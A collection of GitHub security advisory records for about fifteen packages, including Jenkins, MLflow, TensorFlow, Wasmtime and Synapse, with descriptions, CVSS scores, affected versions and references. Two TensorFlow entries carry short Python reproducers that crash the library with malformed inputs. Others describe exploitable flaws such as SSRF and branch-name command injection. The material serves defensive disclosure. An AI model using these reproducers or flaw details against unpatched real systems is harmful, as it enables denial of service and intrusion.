Jenkins Build Failure Analyzer Plugin 2.4.1 and earlier does not escape Failure Cause names in build logs.
This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers able to create or update Failure Causes.
Build Failure Analyzer Plugin 2.4.2 escapes Failure Cause names in build logs.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H'}]
|
[{'package': {'ecosystem': 'Maven', 'name': 'com.sonyericsson.jenkins.plugins.bfa:build-failure-analyzer'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.2'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-43499'}, {'type': 'WEB', 'url': 'https://www.jenkins.io/security/advisory/2023-09-20/#SECURITY-3244'}, {'type': 'WEB', 'url': 'http://www.openwall.com/lists/oss-security/2023/09/20/5'}]
|
{'cwe_ids': ['CWE-79'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2023-09-21T21:37:54Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-6rx9-c2rh-3qv4
|
2023-09-25T18:34:33Z
|
2023-09-24T03:30:20Z
| null |
['CVE-2023-1636']
|
OpenStack Barbican information disclosure vulnerability
|
A vulnerability was found in OpenStack Barbican containers. This vulnerability is only applicable to deployments that utilize an all-in-one configuration. Barbican containers share the same CGROUP, USER, and NET namespace with the host system and other OpenStack services. If any service is compromised, it could gain access to the data transmitted to and from Barbican.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:L'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'barbican'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '16.0.0'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-1636'}, {'type': 'WEB', 'url': 'https://access.redhat.com/security/cve/CVE-2023-1636'}, {'type': 'WEB', 'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=2181765'}, {'type': 'PACKAGE', 'url': 'https://github.com/openstack/barbican'}]
|
{'cwe_ids': [], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2023-09-25T18:34:33Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-7565-cq32-vx2x
|
2023-09-27T15:42:37Z
|
2023-09-26T19:20:38Z
| null |
['CVE-2023-42453']
|
matrix-synapse vulnerable to improper validation of receipts allows forged read receipts
|
### Impact
Users were able to forge read receipts for any event (if they knew the room ID and event ID). Note that the users were not able to view the events, but simply mark it as read. This could be confusing as clients will show the event as read by the user, even if they are not in the room.
### Patches
https://github.com/matrix-org/synapse/pull/16327
### Workarounds
There is no workaround.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'matrix-synapse'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0.34.0'}, {'fixed': '1.93.0'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/matrix-org/synapse/security/advisories/GHSA-7565-cq32-vx2x'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-42453'}, {'type': 'WEB', 'url': 'https://github.com/matrix-org/synapse/pull/16327'}, {'type': 'WEB', 'url': 'https://github.com/matrix-org/synapse/commit/63d28a88c1d18c64ea7e23b6dd7483e6d5dcf881'}, {'type': 'PACKAGE', 'url': 'https://github.com/matrix-org/synapse'}]
|
{'cwe_ids': ['CWE-285'], 'severity': 'LOW', 'github_reviewed': True, 'github_reviewed_at': '2023-09-26T19:20:38Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-xrqq-wqh4-5hg2
|
2023-03-23T12:50:28Z
|
2023-03-20T20:44:30Z
|
2023-03-23T12:50:28Z
|
['CVE-2023-28426']
|
svg-sanitizer has Cross-site Scripting Bypass
|
### Update
In [#88](https://github.com/darylldoyle/svg-sanitizer/issues/88) we have determined that the bypass this security advisory was created for, was a false positive and as such we have requested that the CVE be rejected.
___
A bypass has been found that allows an attacker to upload an SVG with persistent XSS.
HTML elements within CDATA needed to be sanitized correctly, as we were converting them to a textnode and therefore, the library wasn't seeing them as DOM elements.
Any data within a CDATA node will now be sanitised using [HTMLPurifier](https://github.com/ezyang/htmlpurifier). We've also removed many of the HTML and MathML elements from the allowed element list, as without `ForiegnObject`, they're not legal within the SVG context.
Additional tests have been added to the test suite to account for these new bypasses.
### Impact
This impacts all users of the `svg-sanitizer` library.
### Patches
This issue is fixed in 0.16.0 and higher.
### Workarounds
There is currently no workaround available without upgrading.
### For more information
If you have any questions or comments about this advisory:
Open an issue in [Github](https://github.com/darylldoyle/svg-sanitizer/issues)
Email us at [daryll@enshrined.co.uk](mailto:daryll@enshrined.co.uk)
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N'}]
|
[{'package': {'ecosystem': 'Packagist', 'name': 'enshrined/svg-sanitize'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '0.16.0'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/darylldoyle/svg-sanitizer/security/advisories/GHSA-xrqq-wqh4-5hg2'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-28426'}, {'type': 'WEB', 'url': 'https://github.com/darylldoyle/svg-sanitizer/issues/88'}, {'type': 'WEB', 'url': 'https://github.com/darylldoyle/svg-sanitizer/commit/cce18bc237c05c6e093e9672db7926788da9b322'}, {'type': 'PACKAGE', 'url': 'https://github.com/darylldoyle/svg-sanitizer'}]
|
{'cwe_ids': ['CWE-79'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2023-03-20T20:44:30Z', 'nvd_published_at': '2023-03-20T14:15:00Z'}
|
1.4.0
|
GHSA-hxgx-584x-vwm8
|
2023-04-10T16:42:16Z
|
2023-03-31T21:30:40Z
| null |
['CVE-2023-27159']
|
Appwrite Server-Side Request Forgery vulnerability
|
Appwrite up to v1.2.1 was discovered to contain a Server-Side Request Forgery (SSRF) via the component `/v1/avatars/favicon`. This vulnerability allows attackers to access network resources and sensitive information via a crafted GET request.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N'}]
|
[{'package': {'ecosystem': 'Packagist', 'name': 'appwrite/server-ce'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '1.2.1'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-27159'}, {'type': 'WEB', 'url': 'https://gist.github.com/b33t1e/43b26c31e895baf7e7aea2dbf9743a9a'}, {'type': 'WEB', 'url': 'https://gist.github.com/b33t1e/e9e8192317c111e7897e04d2f9bf5fdb'}, {'type': 'PACKAGE', 'url': 'https://github.com/appwrite/appwrite'}, {'type': 'WEB', 'url': 'https://notes.sjtu.edu.cn/gMNlpByZSDiwrl9uZyHTKA'}, {'type': 'WEB', 'url': 'http://appwrite.com'}]
|
{'cwe_ids': ['CWE-918'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2023-04-10T16:42:16Z', 'nvd_published_at': '2023-03-31T19:15:00Z'}
|
1.4.0
|
GHSA-558h-mq8x-7q9g
|
2023-03-27T22:00:49Z
|
2023-03-24T21:57:25Z
| null |
['CVE-2023-25665']
|
TensorFlow has Null Pointer Error in SparseSparseMaximum
|
### Impact
When `SparseSparseMaximum` is given invalid sparse tensors as inputs, it can give an NPE.
```python
import tensorflow as tf
tf.raw_ops.SparseSparseMaximum(
a_indices=[[1]],
a_values =[ 0.1 ],
a_shape = [2],
b_indices=[[]],
b_values =[2 ],
b_shape = [2],
)
```
### Patches
We have patched the issue in GitHub commit [5e0ecfb42f5f65629fd7a4edd6c4afe7ff0feb04](https://github.com/tensorflow/tensorflow/commit/5e0ecfb42f5f65629fd7a4edd6c4afe7ff0feb04).
The fix will be included in TensorFlow 2.12. We will also cherrypick this commit on TensorFlow 2.11.1.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by Yu Tian of Qihoo 360 AIVul Team
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.11.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.11.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.11.1'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-558h-mq8x-7q9g'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-25665'}, {'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/commit/5e0ecfb42f5f65629fd7a4edd6c4afe7ff0feb04'}, {'type': 'PACKAGE', 'url': 'https://github.com/tensorflow/tensorflow'}]
|
{'cwe_ids': ['CWE-476'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2023-03-24T21:57:25Z', 'nvd_published_at': '2023-03-25T00:15:00Z'}
|
1.4.0
|
GHSA-2563-fp9c-mgm8
|
2023-03-07T20:59:15Z
|
2023-03-06T21:30:18Z
| null |
['CVE-2021-36394']
|
Moodle Session Fixation vulnerability
|
In Moodle, a remote code execution risk was identified in the Shibboleth authentication plugin.
|
[]
|
[{'package': {'ecosystem': 'Packagist', 'name': 'moodle/moodle'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '3.11.0-beta'}, {'fixed': '3.11.1'}]}]}, {'package': {'ecosystem': 'Packagist', 'name': 'moodle/moodle'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '3.10.0-beta'}, {'fixed': '3.10.5'}]}]}, {'package': {'ecosystem': 'Packagist', 'name': 'moodle/moodle'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '3.9.8'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-36394'}, {'type': 'PACKAGE', 'url': 'https://github.com/moodle/moodle'}, {'type': 'WEB', 'url': 'https://moodle.org/mod/forum/discuss.php?d=424799'}]
|
{'cwe_ids': ['CWE-384'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2023-03-07T20:59:15Z', 'nvd_published_at': '2023-03-06T21:15:00Z'}
|
1.4.0
|
GHSA-xg73-94fp-g449
|
2023-03-28T18:01:21Z
|
2023-03-24T22:01:09Z
| null |
['CVE-2023-1177']
|
mlflow is vulnerable to remote file access in `mlflow server` and `mlflow ui` CLIs
|
### Impact
Users of the MLflow Open Source Project who are hosting the MLflow Model Registry using the `mlflow server` or `mlflow ui` commands using an MLflow version older than MLflow 2.2.1 may be vulnerable to a remote file access exploit if they are not limiting who can query their server (for example, by using a cloud VPC, an IP allowlist for inbound requests, or authentication / authorization middleware).
This issue only affects users and integrations that run the `mlflow server` and `mlflow ui` commands. Integrations that do not make use of `mlflow server` or `mlflow ui` are unaffected; for example, the Databricks Managed MLflow product and MLflow on Azure Machine Learning do not make use of these commands and are not impacted by these vulnerabilities in any way.
The vulnerability detailed in https://nvd.nist.gov/vuln/detail/CVE-2023-1177 enables an actor to download arbitrary files unrelated to MLflow from the host server, including any files stored in remote locations to which the host server has access.
### Patches
This vulnerability has been patched in MLflow 2.2.1, which was released to PyPI on March 2nd, 2023. If you are using `mlflow server` or `mlflow ui` with the MLflow Model Registry, we recommend upgrading to MLflow 2.2.1 as soon as possible.
### Workarounds
If you are using the MLflow open source `mlflow server` or `mlflow ui` commands, we strongly recommend limiting who can access your MLflow Model Registry and MLflow Tracking servers using a cloud VPC, an IP allowlist for inbound requests, authentication / authorization middleware, or another access restriction mechanism of your choosing.
If you are using the MLflow open source `mlflow server` or `mlflow ui` commands, we also strongly recommend limiting the remote files to which your MLflow Model Registry and MLflow Tracking servers have access. For example, if your MLflow Model Registry or MLflow Tracking server uses cloud-hosted blob storage for MLflow artifacts, make sure to restrict the scope of your server's cloud credentials such that it can only access files and directories related to MLflow.
### References
More information about the vulnerability is available at https://nvd.nist.gov/vuln/detail/CVE-2023-1177.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'mlflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.2.1'}]}], 'database_specific': {'last_known_affected_version_range': '<= 2.2.0'}}]
|
[{'type': 'WEB', 'url': 'https://github.com/mlflow/mlflow/security/advisories/GHSA-xg73-94fp-g449'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-1177'}, {'type': 'WEB', 'url': 'https://github.com/mlflow/mlflow/commit/7162a50c654792c21f3e4a160eb1a0e6a34f6e6e'}, {'type': 'PACKAGE', 'url': 'https://github.com/mlflow/mlflow'}, {'type': 'WEB', 'url': 'https://huntr.dev/bounties/1fe8f21a-c438-4cba-9add-e8a5dab94e28'}]
|
{'cwe_ids': ['CWE-29'], 'severity': 'CRITICAL', 'github_reviewed': True, 'github_reviewed_at': '2023-03-24T22:01:09Z', 'nvd_published_at': '2023-03-24T15:15:00Z'}
|
1.4.0
|
GHSA-6q4m-7476-932w
|
2023-09-01T17:42:57Z
|
2023-03-13T20:43:33Z
| null |
['CVE-2023-27581']
|
github-slug-action vulnerable to arbitrary code execution
|
### Impact
This action uses the `github.head_ref` parameter in an insecure way.
This vulnerability can be triggered by any user on GitHub on any workflow using the action on pull requests. They just need to create a pull request with a branch name, which can contain the attack payload. (Note that first-time PR requests will not be run - but the attacker can submit a valid PR before submitting an invalid PR). This can be used to execute code on the GitHub runners (potentially use it for crypto-mining, and waste your resources) and to exfiltrate any secrets you use in the CI pipeline.
### Patches
> Pass the variable as an environment variable and then use the environment variable instead of substituting it directly.
Patched action is available on tag **v4**, tag **v4.4.1**, and any tag beyond.
### Workarounds
No workaround is available if impacted, please upgrade the version
> ℹ️ **v3** and **v4** are compatibles.
### References
[Here](https://securitylab.github.com/research/github-actions-untrusted-input/) is a set of blog posts by Github's security team explaining this issue.
### Thanks
Thanks to the team of researchers from Purdue University, who are working on finding vulnerabilities in CI/CD configurations of open-source software. Their tool detected this security vulnerability.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H'}]
|
[{'package': {'ecosystem': 'GitHub Actions', 'name': 'rlespinasse/github-slug-action'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '4.0.0'}, {'fixed': '4.4.1'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/rlespinasse/github-slug-action/security/advisories/GHSA-6q4m-7476-932w'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-27581'}, {'type': 'WEB', 'url': 'https://github.com/rlespinasse/github-slug-action/commit/102b1a064a9b145e56556e22b18b19c624538d94'}, {'type': 'PACKAGE', 'url': 'https://github.com/rlespinasse/github-slug-action'}, {'type': 'WEB', 'url': 'https://github.com/rlespinasse/github-slug-action/releases/tag/v4.4.1'}, {'type': 'WEB', 'url': 'https://securitylab.github.com/research/github-actions-untrusted-input/'}]
|
{'cwe_ids': ['CWE-77'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2023-03-13T20:43:33Z', 'nvd_published_at': '2023-03-13T21:15:00Z'}
|
1.4.0
|
GHSA-rwrx-x2hw-9h5w
|
2023-03-20T17:28:36Z
|
2023-03-20T15:30:20Z
| null |
['CVE-2023-26513']
|
Apache Sling Resource Merger has Excessive Iteration vulnerability
|
Excessive Iteration vulnerability in Apache Software Foundation Apache Sling Resource Merger. This issue affects Apache Sling Resource Merger: from 1.2.0 before 1.4.2.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H'}]
|
[{'package': {'ecosystem': 'Maven', 'name': 'org.apache.sling:org.apache.sling.resourcemerger'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.2.0'}, {'fixed': '1.4.2'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-26513'}, {'type': 'WEB', 'url': 'https://issues.apache.org/jira/browse/SLING-11776'}, {'type': 'WEB', 'url': 'https://lists.apache.org/thread/xpcpo1y88ldss5hgmvogsf6h3735l5zb'}]
|
{'cwe_ids': ['CWE-834'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2023-03-20T17:28:36Z', 'nvd_published_at': '2023-03-20T13:15:00Z'}
|
1.4.0
|
GHSA-347f-rxg8-qgrv
|
2023-03-14T19:34:02Z
|
2023-03-08T12:30:16Z
| null |
['CVE-2023-1269']
|
Easy!Appointments uses hard-coded credentials
|
Use of Hard-coded Credentials in GitHub repository alextselegidis/easyappointments 1.4.3 and prior. A patch is available and anticipated to be part of version 1.5.0.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H'}]
|
[{'package': {'ecosystem': 'Packagist', 'name': 'alextselegidis/easyappointments'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '1.4.3'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-1269'}, {'type': 'WEB', 'url': 'https://github.com/alextselegidis/easyappointments/commit/2731d2f17c5140c562426b857e9f5d63da5c4593'}, {'type': 'PACKAGE', 'url': 'https://github.com/alextselegidis/easyappointments'}, {'type': 'WEB', 'url': 'https://huntr.dev/bounties/91c31eb6-024d-4ad3-88fe-f15b03fd20f5'}]
|
{'cwe_ids': ['CWE-798'], 'severity': 'CRITICAL', 'github_reviewed': True, 'github_reviewed_at': '2023-03-08T17:24:11Z', 'nvd_published_at': '2023-03-08T11:15:00Z'}
|
1.4.0
|
GHSA-j664-qhh4-hpf8
|
2023-05-19T15:55:11Z
|
2023-03-10T21:30:19Z
| null |
['CVE-2023-27898']
|
Cross-site Scripting vulnerability in Jenkins
|
Jenkins 2.270 through 2.393 (both inclusive), LTS 2.277.1 through 2.375.3 (both inclusive) does not escape the Jenkins version a plugin depends on when rendering the error message stating its incompatibility with the current version of Jenkins, resulting in a stored cross-site scripting (XSS) vulnerability exploitable by attackers able to provide plugins to the configured update sites and have this message shown by Jenkins instances.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H'}]
|
[{'package': {'ecosystem': 'Maven', 'name': 'org.jenkins-ci.main:jenkins-core'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.376'}, {'fixed': '2.394'}]}]}, {'package': {'ecosystem': 'Maven', 'name': 'org.jenkins-ci.main:jenkins-core'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.375.4'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-27898'}, {'type': 'WEB', 'url': 'https://www.jenkins.io/security/advisory/2023-03-08/#SECURITY-3037'}]
|
{'cwe_ids': ['CWE-79'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2023-03-17T14:45:14Z', 'nvd_published_at': '2023-03-10T21:15:00Z'}
|
1.4.0
|
GHSA-xxmq-4vph-956w
|
2023-03-28T14:44:04Z
|
2023-03-28T14:44:04Z
| null |
[]
|
Comrak vulnerable to production of excessive output when parsing Markdown (GHSL-2023-048)
|
### Impact
comrak is vulnerable to the upstream cmark issue, ["Issue revealed by fuzzer"](https://github.com/commonmark/cmark/issues/354). A large number of references in a markdown document can trigger an overly large response.
### Patches
0.17.0 contains https://github.com/kivikakk/comrak/commit/70f97f3ea4eae30ffbd1b94c764a3de2f1c41d2a, which limits reference output to a 100Kb maximum.
### Workarounds
n/a
### References
* https://github.com/commonmark/cmark/issues/354
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L'}]
|
[{'package': {'ecosystem': 'crates.io', 'name': 'comrak'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '0.17.0'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/kivikakk/comrak/security/advisories/GHSA-xxmq-4vph-956w'}, {'type': 'WEB', 'url': 'https://github.com/commonmark/cmark/issues/354'}, {'type': 'WEB', 'url': 'https://github.com/kivikakk/comrak/commit/70f97f3ea4eae30ffbd1b94c764a3de2f1c41d2a'}, {'type': 'PACKAGE', 'url': 'https://github.com/kivikakk/comrak'}, {'type': 'WEB', 'url': 'https://github.com/kivikakk/comrak/releases/tag/0.17.0'}]
|
{'cwe_ids': [], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2023-03-28T14:44:04Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-xm67-587q-r2vw
|
2023-03-09T00:09:03Z
|
2023-03-09T00:09:03Z
| null |
['CVE-2023-27477']
|
wasmtime vulnerable to miscompilation of `i8x16.select` with the same inputs on x86_64
|
### Impact
Wasmtime's code generation backend, Cranelift, has a bug on x86_64 platforms for the WebAssembly `i8x16.select` instruction which will produce the wrong results when the same operand is provided to the instruction and some of the selected indices are greater than 16. There is an off-by-one error in the calculation of the mask to the `pshufb` instruction which causes incorrect results to be returned if lanes are selected from the second vector.
The impact of this miscompilation is that the WebAssembly instruction can produce incorrect results for the `i8x16.select` instruction. This should have no effect on embedders and does not represent a sandbox escape, for example. Guest programs, however, may behave unexpectedly due to the incorrect result of this instruction. In extreme cases if a guest program is handling untrusted input then the guest program may deviate from its intended execution, for example calling an imported host function with different arguments than intended. This still does not impact embedders, however, because there is no form of privilege escalation with the guest.
At this time it's expected that this codegen pattern doesn't show up in the wild that often. LLVM-generated modules, for example, do not appear to conventionally or idiomatically generate code which would hit this bug. It is possible, however, to still write code which triggers this, so it's recommended for embedders to analyze existing modules to see if any are affected.
### Patches
This codegen bug has been fixed in Wasmtime 6.0.1, 5.0.1, and 4.0.1. Users are recommended to upgrade to these updated versions.
### Workarounds
If upgrading is not an option for you at this time, you can avoid this miscompilation by [disabling the Wasm simd proposal](https://docs.rs/wasmtime/latest/wasmtime/struct.Config.html#method.wasm_simd)
```rust
config.wasm_simd(false);
```
Additionally the bug is only present on x86_64 hosts. Other platforms such as AArch64 and s390x are not affected.
### References
* [The WebAssembly simd proposal](https://github.com/webassembly/simd)
* [Mailing list announcement](https://groups.google.com/a/bytecodealliance.org/g/sec-announce/c/Mov-ItrNJsQ)
* [GitHub advisory](https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-xm67-587q-r2vw)
* [Commit to fix this issue on Wasmtime's `main` branch](https://github.com/bytecodealliance/wasmtime/commit/5dc2bbccbb363e474d2c9a1b8e38a89a43bbd5d1)
### For more information
If you have any questions or comments about this advisory:
* Reach out to us on [the Bytecode Alliance Zulip chat](https://bytecodealliance.zulipchat.com/#narrow/stream/217126-wasmtime)
* Open an issue in [the bytecodealliance/wasmtime repository](https://github.com/bytecodealliance/wasmtime/)
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N'}]
|
[{'package': {'ecosystem': 'crates.io', 'name': 'wasmtime'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.0.0'}, {'fixed': '4.0.1'}]}]}, {'package': {'ecosystem': 'crates.io', 'name': 'wasmtime'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '5.0.0'}, {'fixed': '5.0.1'}]}]}, {'package': {'ecosystem': 'crates.io', 'name': 'wasmtime'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '6.0.0'}, {'fixed': '6.0.1'}]}]}, {'package': {'ecosystem': 'crates.io', 'name': 'cranelift-codegen'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0.88.0'}, {'fixed': '0.91.1'}]}]}, {'package': {'ecosystem': 'crates.io', 'name': 'cranelift-codegen'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0.92.0'}, {'fixed': '0.92.1'}]}]}, {'package': {'ecosystem': 'crates.io', 'name': 'cranelift-codegen'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0.93.0'}, {'fixed': '0.93.1'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-xm67-587q-r2vw'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-27477'}, {'type': 'WEB', 'url': 'https://github.com/bytecodealliance/wasmtime/commit/5dc2bbccbb363e474d2c9a1b8e38a89a43bbd5d1'}, {'type': 'WEB', 'url': 'https://docs.rs/wasmtime/latest/wasmtime/struct.Config.html#method.wasm_simd'}, {'type': 'PACKAGE', 'url': 'https://github.com/bytecodealliance/wasmtime'}, {'type': 'WEB', 'url': 'https://github.com/webassembly/simd'}, {'type': 'WEB', 'url': 'https://groups.google.com/a/bytecodealliance.org/g/sec-announce/c/Mov-ItrNJsQ'}]
|
{'cwe_ids': ['CWE-193'], 'severity': 'LOW', 'github_reviewed': True, 'github_reviewed_at': '2023-03-09T00:09:03Z', 'nvd_published_at': '2023-03-08T21:15:00Z'}
|
1.4.0
|
GHSA-q6g2-g7f3-rr83
|
2023-03-30T01:01:25Z
|
2023-03-22T06:30:21Z
| null |
['CVE-2023-1436']
|
Jettison vulnerable to infinite recursion
|
An infinite recursion is triggered in Jettison when constructing a JSONArray from a Collection that contains a self-reference in one of its elements. This leads to a StackOverflowError exception being thrown.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H'}]
|
[{'package': {'ecosystem': 'Maven', 'name': 'org.codehaus.jettison:jettison'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.5.4'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-1436'}, {'type': 'WEB', 'url': 'https://github.com/jettison-json/jettison/issues/60'}, {'type': 'WEB', 'url': 'https://github.com/jettison-json/jettison/pull/62'}, {'type': 'PACKAGE', 'url': 'https://github.com/jettison-json/jettison'}, {'type': 'WEB', 'url': 'https://github.com/jettison-json/jettison/releases/tag/jettison-1.5.4'}, {'type': 'WEB', 'url': 'https://research.jfrog.com/vulnerabilities/jettison-json-array-dos-xray-427911/'}]
|
{'cwe_ids': ['CWE-674'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2023-03-22T21:23:09Z', 'nvd_published_at': '2023-03-22T06:15:00Z'}
|
1.4.0
|
GHSA-93vr-9q9m-pj8p
|
2023-03-27T21:26:44Z
|
2023-03-24T21:58:53Z
| null |
['CVE-2023-25659']
|
TensorFlow vulnerable to Out-of-Bounds Read in DynamicStitch
|
### Impact
If the parameter `indices` for `DynamicStitch` does not match the shape of the parameter `data`, it can trigger an stack OOB read.
```python
import tensorflow as tf
func = tf.raw_ops.DynamicStitch
para={'indices': [[0xdeadbeef], [405], [519], [758], [1015]], 'data': [[110.27793884277344], [120.29475402832031], [157.2418212890625], [157.2626953125], [188.45382690429688]]}
y = func(**para)
```
### Patches
We have patched the issue in GitHub commit [ee004b18b976eeb5a758020af8880236cd707d05](https://github.com/tensorflow/tensorflow/commit/ee004b18b976eeb5a758020af8880236cd707d05).
The fix will be included in TensorFlow 2.12. We will also cherrypick this commit on TensorFlow 2.11.1.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This has been reported via Google OSS VRP.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H'}]
|
